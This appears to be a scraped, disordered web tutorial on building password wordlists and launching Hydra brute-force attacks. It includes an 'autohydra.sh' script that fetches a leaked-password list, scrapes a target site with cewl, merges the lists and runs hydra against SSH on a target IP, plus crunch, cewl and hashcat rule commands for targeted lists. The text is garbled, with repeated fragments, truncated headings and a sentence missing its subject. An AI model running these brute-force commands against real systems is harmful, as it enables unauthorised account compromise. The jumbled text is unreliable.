Example rule set (add to myrules.rule ):
#!/bin/bash # autohydra.sh – Ethical password list builder + Hydra launcher TARGET_IP="192.168.1.100" USERNAME="admin" wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt -O base.txt Step 2: Scrape target website for keywords cewl http://$TARGET_IP -d 2 -w cewl.txt Step 3: Merge, deduplicate, clean cat base.txt cewl.txt /usr/share/wordlists/fasttrack.txt > combined.txt sort -u combined.txt | sed '/^$/d' > final_passlist.txt Step 4: Run Hydra hydra -l $USERNAME -P final_passlist.txt ssh://$TARGET_IP -t 8 -V -o hydra_results.txt passlist txt hydra full
: # no change l # lowercase u # uppercase c # capitalize t # toggle case $[0-9] # append 0-9 $[0-9]$[0-9] # append two digits Apply rules to generate a new passlist: Example rule set (add to myrules
But what exactly constitutes a "full" passlist? Where do you get a reliable .txt file? And how do you use it effectively with Hydra without wasting days on ineffective attacks? c and numbers 1
Example with a simple script:
hashcat --stdout base_passlist.txt -r myrules.rule > expanded_passlist.txt Many users create passwords by walking their keyboard: qwerty , 1qaz2wsx , !QAZ@WSX . Add these to your list.
For most Hydra attacks, is considered the "full" standard because it contains real passwords leaked from the RockYou gaming site in 2009. 2.2 Generating Your Own Targeted Passlist Sometimes generic lists fail. You need a custom passlist.txt tailored to the target. Use these tools: Using crunch (Pattern-Based) crunch 6 8 abc123 -o passlist.txt # Generates all 6-8 char passwords using letters a,b,c and numbers 1,2,3 Using cewl (Website Scraping) cewl https://example.com -d 3 -w passlist.txt # Crawls the site and creates a wordlist from keywords found on pages Using hashcat (Rules & Mutations) hashcat --stdout rockyou.txt -r best64.rule > passlist.txt # Applies mutation rules (uppercase, leet speak, appending years) 2.3 Combining Multiple Lists into One "Full" File A true full passlist is aggregated. Use cat and sort -u to merge and deduplicate: